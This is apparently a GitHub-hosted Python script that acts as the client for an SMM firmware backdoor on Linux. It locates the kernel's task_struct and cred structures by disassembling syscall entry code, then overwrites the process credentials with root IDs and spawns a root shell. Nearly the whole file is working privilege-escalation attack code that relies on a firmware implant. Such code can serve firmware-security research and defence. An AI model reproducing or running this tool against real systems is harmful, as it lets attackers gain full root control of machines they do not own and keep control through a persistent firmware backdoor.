-
Notifications
You must be signed in to change notification settings - Fork 50
/
Copy pathsmm_backdoor_privesc_linux.py
executable file
·290 lines (179 loc) · 7.78 KB
/
smm_backdoor_privesc_linux.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
#!/usr/bin/env python
import sys, os, platform, ctypes
from struct import pack, unpack
import smm_backdoor as bd
try:
import capstone
except ImportError:
print('ERROR: Capstone engine is not installed')
exit(-1)
# MSR registers
LSTAR = 0xc0000082
IA32_KERNEL_GS_BASE = 0xc0000102
# getuid() syscal number
NR_getuid = 102
# struct cred field offsets
cred_uid = 4 * 1
cred_gid = 4 * 2
cred_suid = 4 * 3
cred_sgid = 4 * 4
cred_euid = 4 * 5
cred_egid = 4 * 6
def find_task_struct(cr3 = None, entry_SYSCALL_64 = None):
to_ulong_64 = lambda val: unpack('Q', pack('q', val))[0]
if cr3 is None:
cr3 = bd.state_get(bd.SMM_SAVE_STATE_CR3)
print('[+] User CR3 = 0x%x' % cr3)
if entry_SYSCALL_64 is None:
entry_SYSCALL_64 = bd.msr_get(LSTAR)
print('[+] LSTAR = 0x%x' % entry_SYSCALL_64)
# needed kernel symbols
do_syscall_64 = None
sys_call_table = None
# needed offsets
task_struct = None
task_struct_cred = None
# kernel CR3 value for PTI enabled system
cr3_kern = None
data = bd.read_virt_mem(entry_SYSCALL_64, 0x100, cr3 = cr3)
md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
md.detail = True
# disassemble entry_SYSCALL_64()
for insn in md.disasm(data, entry_SYSCALL_64):
if insn.id == capstone.x86.X86_INS_AND:
# check for the SWITCH_TO_KERNEL_CR3
if insn.operands[0].type == capstone.x86.X86_OP_REG and \
insn.operands[1].type == capstone.x86.X86_OP_IMM:
if insn.operands[0].reg == capstone.x86.X86_REG_RSP:
# obtain kernel CR3 value
cr3_kern = cr3 & to_ulong_64(insn.operands[1].imm)
print('[+] Kernel CR3 = 0x%x' % cr3_kern)
if insn.id == capstone.x86.X86_INS_MOV:
# check for the entry_SYSCALL_64_stage2() jump
if insn.operands[0].type == capstone.x86.X86_OP_REG and \
insn.operands[1].type == capstone.x86.X86_OP_IMM:
if insn.operands[0].reg == capstone.x86.X86_REG_RDI and cr3_kern is not None:
entry_SYSCALL_64_stage2 = to_ulong_64(insn.operands[1].imm)
print('[+] entry_SYSCALL_64_stage2() is at 0x%x' % entry_SYSCALL_64_stage2)
# analyze entry_SYSCALL_64_stage2() on KPTI enabled system
return find_task_struct(cr3 = cr3_kern, entry_SYSCALL_64 = entry_SYSCALL_64_stage2)
if insn.id == capstone.x86.X86_INS_CALL:
# check for the do_syscall_64() call
if insn.operands[0].type == capstone.x86.X86_OP_IMM:
do_syscall_64 = to_ulong_64(insn.operands[0].imm)
break
if do_syscall_64 is None:
print('ERROR: Unable to find do_syscall_64()')
return None
print('[+] do_syscall_64() is at 0x%x' % do_syscall_64)
data = bd.read_virt_mem(do_syscall_64, 0x100, cr3 = cr3)
md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
md.detail = True
# disassemble do_syscall_64()
for insn in md.disasm(data, do_syscall_64):
if insn.id == capstone.x86.X86_INS_MOV:
if insn.operands[0].type == capstone.x86.X86_OP_REG and \
insn.operands[1].type == capstone.x86.X86_OP_MEM:
op = insn.operands[1].mem
if op.disp != 0 and op.scale == 8 and op.segment == capstone.x86.X86_REG_INVALID:
# obtain sys_call_table address
sys_call_table = to_ulong_64(op.base + op.disp)
break
if sys_call_table is None:
print('ERROR: Unable to find sys_call_table')
return None
print('[+] sys_call_table() is at 0x%x' % sys_call_table)
# obtain sys_getuid() handler address
sys_getuid = bd.read_virt_mem_8(sys_call_table + (NR_getuid * 8), cr3 = cr3)
print('[+] sys_getuid() is at 0x%x' % sys_getuid)
data = bd.read_virt_mem(sys_getuid, 0x100, cr3 = cr3)
md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
md.detail = True
insn_prev = None
# disassemble sys_getuid()
for insn in md.disasm(data, sys_getuid):
if task_struct is None:
if insn.id == capstone.x86.X86_INS_MOV:
# check for the task_struct access
if insn.operands[0].type == capstone.x86.X86_OP_REG and \
insn.operands[1].type == capstone.x86.X86_OP_MEM:
op = insn.operands[1].mem
if op.disp != 0 and op.segment == capstone.x86.X86_REG_GS:
insn_prev = insn
task_struct = op.disp
continue
else:
if insn.id == capstone.x86.X86_INS_MOV:
# check for the task_struct->cred access in the next instruction
if insn.operands[0].type == capstone.x86.X86_OP_REG and \
insn.operands[1].type == capstone.x86.X86_OP_MEM:
op = insn.operands[1].mem
if op.disp != 0 and op.base == insn_prev.operands[0].reg:
task_struct_cred = op.disp
break
if task_struct is None:
print('ERROR: Unable to find task_struct offset')
return None
if task_struct_cred is None:
print('ERROR: Unable to find cred offset')
return None
return cr3, task_struct, task_struct_cred
def privesc(command_line = None, uid = 0, gid = 0, euid = 0, egid = 0):
# obtain kernel CR3 and needed offsets
ret = find_task_struct()
if ret is None:
print('ERROR: find_task_struct() failed')
return -1
cr3, task_struct, task_struct_cred = ret
print('[+] task_struct offset is 0x%x' % task_struct)
print('[+] cred offset is 0x%x' % task_struct_cred)
# get kernel GS segment base
gs_base = bd.msr_get(IA32_KERNEL_GS_BASE)
print('[+] IA32_KERNEL_GS_BASE = 0x%x' % gs_base)
# get task_struct address for current process
addr_task_struct = bd.read_virt_mem_8(gs_base + task_struct, cr3 = cr3)
print('[+] Process task_struct is at 0x%x' % addr_task_struct)
# get task_struct->cred address
addr_task_struct_cred = bd.read_virt_mem_8(addr_task_struct + task_struct_cred, cr3 = cr3)
print('[+] Process cred is at 0x%x' % addr_task_struct_cred)
task_struct_get = lambda offs: bd.read_virt_mem_4(addr_task_struct_cred + offs, cr3 = cr3)
task_struct_set = lambda offs, val: bd.write_virt_mem_4(addr_task_struct_cred + offs, val, cr3 = cr3)
# read current uid/gid/euid/egid values
curr_uid = task_struct_get(cred_uid)
curr_gid = task_struct_get(cred_gid)
curr_euid = task_struct_get(cred_euid)
curr_egid = task_struct_get(cred_egid)
# sanity check
if curr_uid != os.getuid() or curr_euid != os.geteuid() or \
curr_gid != os.getuid() or curr_euid != os.getegid():
print('ERROR: Bogus cred')
return -1
print('[+] Overwriting process credentials...')
# overwrite task_struct->cred fields
task_struct_set(cred_uid, uid)
task_struct_set(cred_gid, gid)
task_struct_set(cred_suid, uid)
task_struct_set(cred_sgid, gid)
task_struct_set(cred_euid, euid)
task_struct_set(cred_egid, egid)
if command_line is None:
print('[+] Done, spawning root shell...\n')
# spawn shell
os.system('/bin/sh')
else:
os.system(command_line)
return 0
def main():
# check OS
assert platform.system() == 'Linux'
# check for 64-bit process
assert ctypes.sizeof(ctypes.c_void_p) == ctypes.sizeof(ctypes.c_uint64)
print('[+] Initializing SMM backdoor client...')
bd.init(use_timer = True)
bd.ping()
return privesc()
if __name__ == '__main__':
exit(main())
#
# EoF
#